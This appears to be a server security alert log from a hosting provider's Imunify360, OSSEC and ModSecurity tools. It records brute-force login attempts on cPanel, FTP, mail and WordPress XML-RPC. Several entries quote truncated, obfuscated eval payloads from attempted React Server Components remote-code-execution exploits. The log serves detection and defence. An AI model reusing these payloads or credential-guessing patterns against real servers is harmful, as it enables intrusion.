[2026-06-13 13:13:59 +0000] info [cpaneld] 136.227.180.181 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 13:14:16 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.43.53
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?_locale=user||


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:23:06 ns5 pure-ftpd[2443139]: (?@120.55.99.107) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.159.41.51
country_id: 2017370
description:
2026-06-13 13:22:57 dovecot_login authenticator failed for H=([65.20.175.6]) [178.159.41.51]:44257: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:22:37 ns5 pure-ftpd[2442849]: (?@120.55.99.107) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.159.41.51
country_id: 2017370
description:
Jun 13 13:22:55 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.159.41.51 has been locked due to Imunify RBL


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:23:26 ns5 pure-ftpd[2443355]: (?@120.55.99.107) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:23:19 ns5 pure-ftpd[2443304]: (?@120.55.99.107) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.82.84.201
country_id: 1819730
description:
2026-06-13 13:27:51 dovecot_plain authenticator failed for H=(6m4na8qfbyirnuhpe1mgh658gd66qfo) [47.82.84.201]:64760: 535 Incorrect authentication data (set_id=support.technique@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-13 13:28:03 +0000] info [cpaneld] 103.253.27.219 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 13:27:57 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:29:08 ns5 pure-ftpd[2446666]: (?@120.55.99.107) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:28:37 ns5 pure-ftpd[2446309]: (?@120.55.99.107) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.115
country_id: 1880251
description:
47.128.121.115 - - [13/Jun/2026:13:29:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935464&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fgrande-tombola-telefood%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781357398 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/tag/grande-tombola-telefood/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.115


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 13:29:34 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:29:27 ns5 pure-ftpd[2446906]: (?@120.55.99.107) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.130.157.31
country_id: 1210997
description:
114.130.157.31 - - [13/Jun/2026:13:29:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712987&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-togo-et-la-team-europe-unis-pour-sauver-les-aires-protegees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781357385 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-togo-et-la-team-europe-unis-pour-sauver-les-aires-protegees/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.3583.1637 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.130.157.31


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:29:21 ns5 pure-ftpd[2446841]: (?@120.55.99.107) [WARNING] Authentication failed for user [anonymous]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.69.58.92
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/b7fbad3f731248b118a4dc4caa9b90b8_L-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/b7fbad3f731248b118a4dc4caa9b90b8_L.webp 600w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: mail.marketplace.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"data_bac4ad3c\":false,\"reason\":-1,\"ns_97678953\":\"5373\",\"x_926a4071\":-1,\"_response\":{\"_prefix\":\"var tkca=[].slice.call(arguments,1)[0];var jkjid=tkca;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"fer\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.239.111.173
country_id: 2750405
description:
Jun 13 13:35:24 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.239.111.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.239.111.173
country_id: 2750405
description:
2026-06-13 13:35:26 dovecot_plain authenticator failed for H=(localhost) [77.239.111.173]:46925: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.72.131.163
country_id: 6252001
description:
[2026-06-13 13:36:27 +0000] info [cpaneld] 38.72.131.163 - ceni "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ceni (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.132.70
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:107.181.132.70||TA:107.181.132.70||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2b53baf136468352041c78815c51443ecee77a94||Title:0x1d2ec194||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a0c0567bc63e085f2a1953d86978910c3281ee7b||Title:0xf2aab597||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0c33eade07a8c5e7fa445bb7ce81c40f898fc3b5||Title:0x55be7e69||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: marketplace.netmaster.tg
description:


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c35bdf36d604b905b525106c9151c53f5147df16||Title:0x209a6ecd||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.135.235
country_id: 99237
description:
2026-06-13 13:43:14 dovecot_login authenticator failed for H=([220.80.66.168]) [65.20.135.235]:43799: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.135.235
country_id: 99237
description:
Jun 13 13:43:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.135.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:83749c7779da3e6e0546b53954d3c63f3901eb28||Title:0xfa27315e||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e634c236371ec95b68cfe325ac3997792991d07a||Title:0x14be087b||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 170.168.99.170
country_id: 2921044
domain: www.pnls.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Kisiniov@msn.com.www.pnls.tg||Method:blogger.getUsersBlogs


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:995a1553f51e607cc8c65856f96256ffc3fb65df||Title:0x09f475f9||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:afac8dd48734bddbdd5c2aea1e3e2fceaf09cbd6||Title:0x224f0345||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:484aa03650c21600e9f1dad3dd79c0f3a2d42762||Title:0xc92a94aa||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:78f999b289ad60157b0e87044cff841fefc0a93a||Title:0x417222c0||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 13:48:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 13:49:09 +0000] info [cpaneld] 45.61.130.187 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: metaart.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"ns_13e1f355\":\"9b77\",\"data_63f1c0fc\":\"6b32\",\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var xh=arguments['\\\\x31'];var rlv=xh;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ff\\\",\\\"er\\\


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:93bdfe3ba88bd25050a1acaaf0ae053ec9d8f1d1||Title:0x99749e47||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c20380cbc2f80ca7b318fc7300004dbd4900777b||Title:0x284eac02||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.131.209.118
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/237086200 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:32454e820be70ab0341743534f09ce02f79a9539||Title:0x075d052c||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.23.9
country_id: 1814991
description:
Jun 13 13:51:17 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.23.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.23.9
country_id: 1814991
description:
2026-06-13 13:51:19 dovecot_login authenticator failed for H=(dsl-tn-dynamic-137.209.22.125.airtelbroadband.in) [60.172.23.9]:59906: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2dfe46f0a1231703cacdface8c6b27ccb872d38d||Title:0x3e55c99e||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.69.146.59
country_id: 2328926
description:
Jun 13 13:53:37 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.69.146.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.69.146.59
country_id: 2328926
description:
2026-06-13 13:53:39 dovecot_plain authenticator failed for H=(v71ejltjfsudg3a2c3ml3wq11) [102.69.146.59]:43720: 535 Incorrect authentication data (set_id=emploi@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 13:54:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2fc460879fdcd111ac5936ebacd0907859059d2b||Title:0xc8afe5c3||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.165
country_id: 1880251
description:
47.128.96.165 - - [13/Jun/2026:13:54:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7172040&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fedoking-communication-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781358893 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/edoking-communication-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.165


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0174b571eb3588da01dedaa101b782c786ef3f6b||Title:0x4d9fbef5||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eabe2c744d0f9d97fa0922911f0cf2f1ade44ae9||Title:0xc037690b||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7652919602638c244bc6f3cfe8d90557295d18cb||Title:0xcdced474||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5898dc0eb65d0f8d4641077dcaacc6293bab70ec||Title:0x67c6f4ea||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:835b040b69fa799c1a49b961fa8a7a223b27d615||Title:0x717578b3||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 13:58:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f2a0c454f635bee2177623f8fd7fcb5c8e1db687||Title:0xab631442||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.11.210
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/826357730 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:59:32 ns5 pure-ftpd[2465416]: (?@120.55.99.107) [WARNING] Authentication failed for user [data]


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 14:00:14 ns5 pure-ftpd[2465874]: (?@120.55.99.107) [WARNING] Authentication failed for user [data]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 14:00:21 ns5 pure-ftpd[2465933]: (?@120.55.99.107) [WARNING] Authentication failed for user [data]


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 14:00:26 ns5 pure-ftpd[2466018]: (?@120.55.99.107) [WARNING] Authentication failed for user [data]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:62e537514eba272f429cde094cef243709ececd3||Title:0x5961fdd7||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: haplucia-togo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"reason\":-1,\"then\":\"$1:__proto__:then\",\"__b4fdb552\":[],\"_response\":{\"_prefix\":\"var cbtg=arguments['\\\\x31'];var je=cbtg;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.242.246
country_id: 2287781
description:
2026-06-13 14:08:47 dovecot_login authenticator failed for H=(ELISABETH) [160.155.242.246]:5530: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.111.6
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-09.163.198.111.6||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.63
country_id: 6252001
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sunu-group.com||User:egjvuiox||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.242.246
country_id: 2287781
description:
2026-06-13 14:09:41 dovecot_login authenticator failed for H=(ELISABETH) [160.155.242.246]:5534: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 14:09:21 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.249.194
country_id: 2395170
description:
Jun 13 14:11:05 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.249.194 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.109.33
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:163.198.109.33||TA:163.198.109.33||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.201.44
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-300x188.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-768x480.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c.webp 800w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 13 14:11:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.174.128.55
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:107.174.128.55||TA:107.174.128.55||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.249.194
country_id: 2395170
description:
Jun 13 14:11:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.249.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.87.70
country_id: 1814991
description:
Jun 13 14:12:23 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.87.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 14:12:43 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.246.68.220
country_id: 1835841
description:
Jun 13 14:13:13 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.246.68.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: autodiscover.marketplace.netmaster.tg
description:
